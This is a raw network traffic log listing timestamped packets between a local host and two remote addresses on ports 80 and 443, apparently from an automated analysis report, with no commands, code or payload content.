Apr 18, 2024 23:40:20.436309099 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.436316013 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.436346054 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.436352015 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.436384916 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.436424971 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.436439037 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.436463118 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.436487913 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.436501026 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.436506987 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.436542034 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.436544895 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.436579943 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.436593056 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.436619043 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.436638117 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.436655998 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.436671019 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.436695099 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.436736107 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.436736107 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.436757088 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.436774969 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.436788082 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.436815023 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.436825991 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.436852932 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.436862946 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.436893940 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.436911106 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.436934948 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.436970949 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.436973095 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.437004089 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.437012911 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.437021971 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.437051058 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.437069893 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.437088966 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.437098980 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.437128067 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.437135935 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.437181950 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.437189102 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.437218904 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.437256098 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.437267065 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.437295914 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.437304020 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.437335968 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.437351942 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.437375069 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.437382936 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.437412977 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.437422991 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.437449932 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.437458992 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.437488079 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.437500954 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.437526941 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.437535048 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.437566042 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.437575102 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.437603951 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.437642097 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.437648058 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.437679052 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.437702894 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.437716961 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.437727928 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.437755108 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.437762022 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.437793016 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.437808037 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.437832117 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.437839985 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.437870026 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.437882900 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.437908888 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.437946081 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.437962055 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.437983990 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.437989950 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.438021898 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.438030005 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.438060045 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.438069105 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.438097954 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.438107014 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.438137054 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.438146114 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.438178062 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.438209057 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.438247919 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.464067936 CEST	443	49783	142.250.105.138	192.168.2.4
Apr 18, 2024 23:40:20.471095085 CEST	49783	443	192.168.2.4	142.250.105.138
Apr 18, 2024 23:40:20.471121073 CEST	443	49783	142.250.105.138	192.168.2.4
Apr 18, 2024 23:40:20.471662045 CEST	443	49783	142.250.105.138	192.168.2.4
Apr 18, 2024 23:40:20.471736908 CEST	49783	443	192.168.2.4	142.250.105.138
Apr 18, 2024 23:40:20.472369909 CEST	443	49783	142.250.105.138	192.168.2.4
Apr 18, 2024 23:40:20.472421885 CEST	49783	443	192.168.2.4	142.250.105.138
Apr 18, 2024 23:40:20.474760056 CEST	49783	443	192.168.2.4	142.250.105.138
Apr 18, 2024 23:40:20.474832058 CEST	443	49783	142.250.105.138	192.168.2.4
Apr 18, 2024 23:40:20.474982023 CEST	49783	443	192.168.2.4	142.250.105.138
Apr 18, 2024 23:40:20.516139030 CEST	443	49783	142.250.105.138	192.168.2.4
Apr 18, 2024 23:40:20.545032978 CEST	80	49779	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.545706987 CEST	80	49779	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.545763016 CEST	49779	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.557867050 CEST	49783	443	192.168.2.4	142.250.105.138
Apr 18, 2024 23:40:20.557884932 CEST	443	49783	142.250.105.138	192.168.2.4
Apr 18, 2024 23:40:20.626756907 CEST	49786	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.631243944 CEST	80	49784	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.631421089 CEST	49784	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.635179043 CEST	49779	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.637679100 CEST	49784	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.660486937 CEST	49783	443	192.168.2.4	142.250.105.138
Apr 18, 2024 23:40:20.672844887 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.672884941 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.672924042 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.672943115 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.672962904 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.672986984 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.672986984 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.673011065 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.673104048 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.673141003 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.673156977 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.673178911 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.673192978 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.673218012 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.673228025 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.673255920 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.673268080 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.673295021 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.673300982 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.673333883 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.673346043 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.673494101 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.689620018 CEST	443	49783	142.250.105.138	192.168.2.4
Apr 18, 2024 23:40:20.689758062 CEST	443	49783	142.250.105.138	192.168.2.4
Apr 18, 2024 23:40:20.689815044 CEST	49783	443	192.168.2.4	142.250.105.138
Apr 18, 2024 23:40:20.689836025 CEST	443	49783	142.250.105.138	192.168.2.4
Apr 18, 2024 23:40:20.694567919 CEST	443	49783	142.250.105.138	192.168.2.4
Apr 18, 2024 23:40:20.694633007 CEST	49783	443	192.168.2.4	142.250.105.138
Apr 18, 2024 23:40:20.694641113 CEST	443	49783	142.250.105.138	192.168.2.4
Apr 18, 2024 23:40:20.701838017 CEST	443	49783	142.250.105.138	192.168.2.4
Apr 18, 2024 23:40:20.701904058 CEST	49783	443	192.168.2.4	142.250.105.138
Apr 18, 2024 23:40:20.701929092 CEST	443	49783	142.250.105.138	192.168.2.4
Apr 18, 2024 23:40:20.709147930 CEST	443	49783	142.250.105.138	192.168.2.4
Apr 18, 2024 23:40:20.709203959 CEST	49783	443	192.168.2.4	142.250.105.138
Apr 18, 2024 23:40:20.709228039 CEST	443	49783	142.250.105.138	192.168.2.4
Apr 18, 2024 23:40:20.709264994 CEST	443	49783	142.250.105.138	192.168.2.4
Apr 18, 2024 23:40:20.709384918 CEST	49783	443	192.168.2.4	142.250.105.138
Apr 18, 2024 23:40:20.709393024 CEST	443	49783	142.250.105.138	192.168.2.4
Apr 18, 2024 23:40:20.716449022 CEST	443	49783	142.250.105.138	192.168.2.4
Apr 18, 2024 23:40:20.716501951 CEST	49783	443	192.168.2.4	142.250.105.138
Apr 18, 2024 23:40:20.716520071 CEST	443	49783	142.250.105.138	192.168.2.4
Apr 18, 2024 23:40:20.723799944 CEST	443	49783	142.250.105.138	192.168.2.4
Apr 18, 2024 23:40:20.723874092 CEST	49783	443	192.168.2.4	142.250.105.138
Apr 18, 2024 23:40:20.723882914 CEST	443	49783	142.250.105.138	192.168.2.4
Apr 18, 2024 23:40:20.730931044 CEST	443	49783	142.250.105.138	192.168.2.4
Apr 18, 2024 23:40:20.730976105 CEST	49783	443	192.168.2.4	142.250.105.138
Apr 18, 2024 23:40:20.730983019 CEST	443	49783	142.250.105.138	192.168.2.4
Apr 18, 2024 23:40:20.730994940 CEST	443	49783	142.250.105.138	192.168.2.4
Apr 18, 2024 23:40:20.731055021 CEST	49783	443	192.168.2.4	142.250.105.138
Apr 18, 2024 23:40:20.793863058 CEST	443	49783	142.250.105.138	192.168.2.4
Apr 18, 2024 23:40:20.793935061 CEST	49783	443	192.168.2.4	142.250.105.138
Apr 18, 2024 23:40:20.797363043 CEST	443	49783	142.250.105.138	192.168.2.4
Apr 18, 2024 23:40:20.797431946 CEST	49783	443	192.168.2.4	142.250.105.138
Apr 18, 2024 23:40:20.804733992 CEST	443	49783	142.250.105.138	192.168.2.4
Apr 18, 2024 23:40:20.804812908 CEST	49783	443	192.168.2.4	142.250.105.138
Apr 18, 2024 23:40:20.804853916 CEST	443	49783	142.250.105.138	192.168.2.4
Apr 18, 2024 23:40:20.804903984 CEST	49783	443	192.168.2.4	142.250.105.138
Apr 18, 2024 23:40:20.811939001 CEST	443	49783	142.250.105.138	192.168.2.4
Apr 18, 2024 23:40:20.812017918 CEST	49783	443	192.168.2.4	142.250.105.138
Apr 18, 2024 23:40:20.819355011 CEST	443	49783	142.250.105.138	192.168.2.4
Apr 18, 2024 23:40:20.819442034 CEST	49783	443	192.168.2.4	142.250.105.138
Apr 18, 2024 23:40:20.819467068 CEST	443	49783	142.250.105.138	192.168.2.4
Apr 18, 2024 23:40:20.819518089 CEST	49783	443	192.168.2.4	142.250.105.138
Apr 18, 2024 23:40:20.826601028 CEST	443	49783	142.250.105.138	192.168.2.4
Apr 18, 2024 23:40:20.833859921 CEST	443	49783	142.250.105.138	192.168.2.4
Apr 18, 2024 23:40:20.833971024 CEST	443	49783	142.250.105.138	192.168.2.4
Apr 18, 2024 23:40:20.834043026 CEST	49783	443	192.168.2.4	142.250.105.138
Apr 18, 2024 23:40:20.834074020 CEST	443	49783	142.250.105.138	192.168.2.4
Apr 18, 2024 23:40:20.834117889 CEST	49783	443	192.168.2.4	142.250.105.138
Apr 18, 2024 23:40:20.841101885 CEST	443	49783	142.250.105.138	192.168.2.4
Apr 18, 2024 23:40:20.841423988 CEST	443	49783	142.250.105.138	192.168.2.4
Apr 18, 2024 23:40:20.841533899 CEST	49783	443	192.168.2.4	142.250.105.138
Apr 18, 2024 23:40:20.841629982 CEST	49783	443	192.168.2.4	142.250.105.138
Apr 18, 2024 23:40:20.841653109 CEST	443	49783	142.250.105.138	192.168.2.4
Apr 18, 2024 23:40:20.877991915 CEST	80	49786	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.878106117 CEST	49786	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.878349066 CEST	49786	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.880487919 CEST	80	49779	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.885852098 CEST	80	49779	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.885941982 CEST	49779	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.889030933 CEST	80	49784	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.889599085 CEST	80	49784	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.889678955 CEST	49784	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.918953896 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.918994904 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.919033051 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.919070959 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.919078112 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.919112921 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.919131041 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.919131041 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.919131041 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.919157028 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.919167995 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.919198990 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.919209003 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.919238091 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.919254065 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.919277906 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.919292927 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.919317007 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.919331074 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.919353962 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.919378996 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.919393063 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.919409037 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.919433117 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.919485092 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.919487953 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.919506073 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.919527054 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.919544935 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.919565916 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.919601917 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.919610977 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.919640064 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.919656038 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.919696093 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.919706106 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.919727087 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.919734955 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.919775009 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.919812918 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.919815063 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.919856071 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.919894934 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.919931889 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.919970989 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.919975996 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.919975996 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.919976950 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.919976950 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.920008898 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.920037985 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.920037985 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.920047998 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.920085907 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.920141935 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.920181036 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.920213938 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.920213938 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.920213938 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.920217991 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.920255899 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.920279980 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.920291901 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.920320988 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.920327902 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.920367956 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.920384884 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.920384884 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.920406103 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.920428991 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.920444012 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.920450926 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.920481920 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.920509100 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.920519114 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.920537949 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.920558929 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.920582056 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.920598030 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.920603991 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.920635939 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.920646906 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.920675993 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.920681000 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.920716047 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.920727968 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.920753956 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.920761108 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.920793056 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.920803070 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.920833111 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.920842886 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.920870066 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.920876026 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.920911074 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.920913935 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.920952082 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.920958996 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.920989990 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.921026945 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.921065092 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.921066046 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.921096087 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.921103001 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.921112061 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.921140909 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.921149015 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.921184063 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.921200991 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.921225071 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.921231031 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.921262026 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.921291113 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.921298981 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.921315908 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.921336889 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.921366930 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.921374083 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.921386003 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.921416044 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.921456099 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.921480894 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.921494007 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.921499014 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.921533108 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.921541929 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.921574116 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.921610117 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.921616077 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.921616077 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.921652079 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.921690941 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.921710014 CEST	49768	80	192.168.2.4	193.233.132.167
